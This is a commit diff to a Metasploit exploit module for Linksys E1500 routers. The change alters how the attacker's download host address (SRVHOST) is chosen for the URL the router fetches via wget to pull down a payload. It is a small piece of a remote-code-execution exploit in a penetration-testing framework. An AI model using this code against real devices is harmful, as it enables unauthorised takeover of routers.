Skip to content

Commit 579c499

Browse files
author
m-1-k-3
committed
Juans SRVHOST check included
1 parent c386d54 commit 579c499

File tree

1 file changed

+6
-3
lines changed

1 file changed

+6
-3
lines changed

modules/exploits/linux/http/linksys_e1500_up_exec.rb

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -163,10 +163,13 @@ def exploit
163163

164164
#we use SRVHOST as download IP for the coming wget command.
165165
#SRVHOST needs a real IP address of our download host
166-
if datastore['SRVHOST'] =~ /0\.0\.0\.0/
167-
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Configure SRVHOST to your local IP address.")
166+
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
167+
srv_host = Rex::Socket.source_address(rhost)
168+
else
169+
srv_host = datastore['SRVHOST']
168170
end
169-
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
171+
172+
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
170173
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
171174
start_service({'Uri' => {
172175
'Proc' => Proc.new { |cli, req|

0 commit comments

Comments
 (0)